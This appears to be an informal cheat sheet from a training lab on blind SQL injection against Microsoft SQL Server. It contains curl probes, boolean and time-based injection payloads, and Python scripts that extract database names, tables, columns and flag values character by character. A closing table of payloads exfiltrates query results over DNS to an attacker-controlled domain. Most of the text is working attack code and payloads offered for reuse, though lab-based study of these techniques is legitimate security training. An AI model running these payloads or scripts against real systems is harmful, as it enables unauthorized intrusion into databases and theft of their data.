These examples are for MSSQL. If other DB, adjust queries. idk man
Examples#
Boolean based#
We found an endpoint that is vulnerable to boolean based SQLI. It checks if the username exists.
If it does, it respond with a json {"status":"taken"}
curl 'http://10.129.204.197/api/check-username.php?u=maria'
{"status":"taken"}And it respond with a json {"status":"available"} if we specify a random username
curl 'http://10.129.204.197/api/check-username.php?u=asdasdxzcas'
{"status":"available"}If we insert a single quote ', we can see that the webapp scream in error message, indicating that it is vulnerable to SQLI
curl "http://10.129.204.197/api/check-username.php?u=maria'"
<br />
<b>Fatal error</b>: Uncaught TypeError: sqlsrv_fetch_array(): Argument #1 ($stmt) must be of type resource, bool given in C:\Apache24\htdocs\amdonuts\api\check-username.php:11
Stack trace:
#0 C:\Apache24\htdocs\amdonuts\api\check-username.php(11): sqlsrv_fetch_array(false, 2)
#1 {main}
thrown in <b>C:\Apache24\htdocs\amdonuts\api\check-username.php</b> on line <b>11</b><br />Time based#
This one is a little more tricky to find, since they don’t produce any error, and no boolean. We know it works only when we use the right payload.
curl -o /dev/null -s -w 'Total: %{time_total}s\n' http://10.129.204.197:8080/ -H "User-Agent: asd'"
Total: 0.396680sHere we used stacked queries, on second query we ask the sql server to wait 5 sec if 1=1 is true. And it works, so that’s how you find time-based SQLI
curl -o /dev/null -s -w 'Total: %{time_total}s\n' http://10.129.204.197:8080/ -H "User-Agent: asd'; IF (1=1) WAITFOR DELAY '0:0:5'-- -"
Total: 5.405334sHere’s the comparison when we supply a wrong condition
curl -o /dev/null -s -w 'Total: %{time_total}s\n' http://10.129.204.197:8080/ -H "User-Agent: asd'; IF (1=0) WAITFOR DELAY '0:0:5'-- -"
Total: 0.437136sEach SQL language has different syntax for time-based. Some most popular ones are:
| Database | Payload |
|---|---|
| MSSQL | WAITFOR DELAY '0:0:10' |
| MySQL/MariaDB | AND (SELECT SLEEP(10) FROM dual WHERE database() LIKE '%') |
| PostgreSQL | | (SELECT 1 FROM PG_SLEEP(10)) |
| Oracle | AND 1234=DBMS_PIPE.RECEIVE_MESSAGE('RaNdStR',10) |
Designing oracle#
Boolean based#
The username maria exists, so ?u=maria is always True. Now if we use AND, we can determine if the second part is True too.
I added proxy http://localhost:8080 for your debugging convenience. You should be able to see requests in burp
import requests
def oracle(guess):
success = "taken"
response = requests.get(
f"http://10.129.204.197/api/check-username.php?u=maria' AND {guess}-- ",
proxies={"http": "http://localhost:8080"}
)
return success in response.text
# Check if oracle works
assert oracle("1=1")
assert not oracle("1=0")At the bottom of the oracle, we test if the oracle works. It should send ?u=maria' AND 1=1 to the webapp, ans since 2 condition are True, the oracle should return True
Time based#
Example from HTB. I cannot code :(
I think Burp automatically “fix” the User-Agent header so I keep getting error all the time. Too tired to find and change burp’s settings…
import requests
import time
# Define delay seconds if guess is True
DELAY = 2
def oracle(guess):
start = time.time()
r = requests.get(
"http://10.129.204.197:8080/",
headers={"User-Agent": f"';IF({guess}) WAITFOR DELAY '0:0:{DELAY}'--"},
)
return time.time() - start > DELAY
# Check if oracle works
assert oracle("1=1")
assert not oracle("1=0")Designing code#
Optimizations#
Use BETWEEN AND. I also implemented multi thread from HTB’s example code
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading
def bruteThread(i, result):
low = 20
high = 126
while low <= high:
mid = (low + high) // 2
if oracle(f"ASCII(SUBSTRING(password,{i+1},1)) BETWEEN {low} AND {mid}"):
high = mid -1
else:
low = mid + 1
result[i] = chr(low)
length = 32
result = [None]*length
# Max threads 40
with ThreadPoolExecutor(max_workers=40) as spawnThread:
for i in range(length):
spawnThread.submit(bruteThread, i, result)
print("".join(c for c in result if c))Use sql AND. This brute force bit by bit. Since ascii characters have 7 bits, the first always is 0, we can brute-forced each characters with 7 requests exactly
Dear god I don’t understand this enough to do multithread. But apparently you can have a thread for each request instead of for each characters like above
TODO: Check out this video
length = 32
for i in range(1, length + 1):
c = 0
for p in range(7):
if oracle(f"ASCII(SUBSTRING(password,{i},1))&{2**p}>0"):
c |= 2**p
print(chr(c), end='')
sys.stdout.flush()
print()Actual code#
For dumping number, we can use SQL AND. This helps when we don’t know the range of number. Most numbers don’t go over 7 bits (0-127)
def dumpNumber(query):
length = 0
for p in range(7):
if oracle(f"({query})&{2**p}>0"):
length |= 2**p
return length
db_name_length = dumpNumber("LEN(DB_NAME())")
print(db_name_length)For dumping string, I still prefer BETWEEN AND since it is easier to code multi thread…
def dumpStringThread(i, query, result):
low = 20
high = 126
while low <= high:
mid = (low + high) // 2
if oracle(f"ASCII(SUBSTRING({query},{i+1},1)) BETWEEN {low} AND {mid}"):
high = mid -1
else:
low = mid + 1
result[i] = chr(low)
def dumpString(query, length):
result = [None]*length
with ThreadPoolExecutor(max_workers=40) as spawnThread:
for i in range(length):
spawnThread.submit(dumpStringThread, i, query, result)
return "".join(c for c in result if c)
length = 5
db_name = dumpString("DB_NAME()", length)
print("".join(c for c in db_name if c))(Don’t use multi thread for time-based, learned this the hard way)
def dumpString(column, length):
result = [None]*length
for i in range(length):
low = 20
high = 126
while low <= high:
mid = (low + high) // 2
if oracle(f"ASCII(SUBSTRING({column},{i+1},1)) BETWEEN {low} AND {mid}"):
high = mid -1
else:
low = mid + 1
result[i] = chr(low)
return "".join(c for c in result if c)
length = 5
db_name = dumpString("DB_NAME()", length)
print(db_name)Dumping queries#
NOTE: These are designed to use with the code above. Plug it into the
dumpNumberanddumpStringfunction
Database#
DB name length
LEN(DB_NAME())DB name
DB_NAME()Code
db_name_length = dumpNumber("LEN(DB_NAME())")
db_name = dumpString("DB_NAME()", db_name_length)
print(f"Database: {db_name}")Tables#
Get number of table
SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_CATALOG='digcraft'Get first (offset 0) table name length
select LEN(table_name) from information_schema.tables where table_catalog='digcraft' order by table_name offset 0 rows fetch next 1 rows onlyGet first (offset 0) table name
select table_name from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows onlyCode:
# Get table number
table_count = dumpNumber(f"SELECT COUNT(*) FROM information_schema.tables WHERE TABLE_CATALOG='{db_name}'")
# Get each table's name
for i in range(table_count):
table_name_length = dumpNumber(f"select LEN(table_name) from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows only")
table_name = dumpString(f"select table_name from information_schema.tables where table_catalog='digcraft' order by table_name offset {i} rows fetch next 1 rows only", table_name_length)
print(f"Table {i+1}: {table_name}")Columns#
Get the number of columns in the ‘flag’ table
select count(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft'Get the length of the first column name in the ‘flag’ table
select LEN(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset 0 rows fetch next 1 rows onlyGet the value of the first column name in the ‘flag’ table
select column_name from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset 0 rows fetch next 1 rows onlyCode:
# Get table number
column_count = dumpNumber("select count(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft'")
# Get each table's name
for i in range(table_count):
column_name_length = dumpNumber(f"select LEN(column_name) from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset {i} rows fetch next 1 rows only")
column_name = dumpString(f"select column_name from INFORMATION_SCHEMA.columns where table_name='flag' and table_catalog='digcraft' order by column_name offset {i} rows fetch next 1 rows only", column_name_length)
print(f"Column {i+1}: {column_name}")Rows#
Get the number of rows in the ‘flag’ table
SELECT COUNT(*) FROM flagGet the length of flag column the first row in the ‘flag’ table
SELECT TOP 1 LEN(flag) FROM flagDump
SELECT TOP 1 flag FROM flagCode:
row_count = dumpNumber("SELECT COUNT(*) FROM flag")
for i in range(row_count):
flag_length = dumpNumber(f"SELECT LEN(flag) FROM flag order by flag offset {i} rows fetch next 1 rows only")
flag = dumpString("SELECT flag FROM flag order by flag offset {i} rows fetch next 1 rows only", flag_length)
print(f"Flag {i+1}: {flag}")Out-of-band DNS exfiltration#
In all these payloads, SELECT 1234 is a placeholder for whatever information it is you want to exfiltrate
| SQL Function | SQL Query |
|---|---|
master..xp_dirtree |
DECLARE @T varchar(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_dirtree "\\'+@T+'.YOUR.DOMAIN\\x"'); |
master..xp_fileexist |
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_fileexist "\\'+@T+'.YOUR.DOMAIN\\x"'); |
master..xp_subdirs |
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);EXEC('master..xp_subdirs "\\'+@T+'.YOUR.DOMAIN\\x"'); |
sys.dm_os_file_exists |
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM sys.dm_os_file_exists('\\'+@T+'.YOUR.DOMAIN\x'); |
fn_trace_gettable |
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_trace_gettable('\\'+@T+'.YOUR.DOMAIN\x.trc',DEFAULT); |
fn_get_audit_file |
DECLARE @T VARCHAR(1024);SELECT @T=(SELECT 1234);SELECT * FROM fn_get_audit_file('\\'+@T+'.YOUR.DOMAIN\',DEFAULT,DEFAULT); |
However, domain names are limited in characters. The part between dots can be a maximum of 63 characters long, and the entire domain can be a maximum of 253 characters long
So we can split up @T variable into @A and @B like this, each max 63 characters.
DECLARE @T VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT @T=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), flag), 1) from flag; SELECT @A=SUBSTRING(@T,3,63); SELECT @B=SUBSTRING(@T,3+63,63);And this is how a full query looks like
DECLARE @T VARCHAR(MAX); DECLARE @A VARCHAR(63); DECLARE @B VARCHAR(63); SELECT @T=CONVERT(VARCHAR(MAX), CONVERT(VARBINARY(MAX), flag), 1) from flag; SELECT @A=SUBSTRING(@T,3,63); SELECT @B=SUBSTRING(@T,3+63,63); SELECT * FROM fn_get_audit_file('\\'+@A+'.'+@B+'.YOUR.DOMAIN\',DEFAULT,DEFAULT);For the domain name, use interactsh or burp collaborator.
If don’t want DNS query go out of internet, we can either see from local DNS server.
If don’t want to rely on interactsh or burp, we can register our own domain (DNS request packet might still in cleartext and can be intercepted).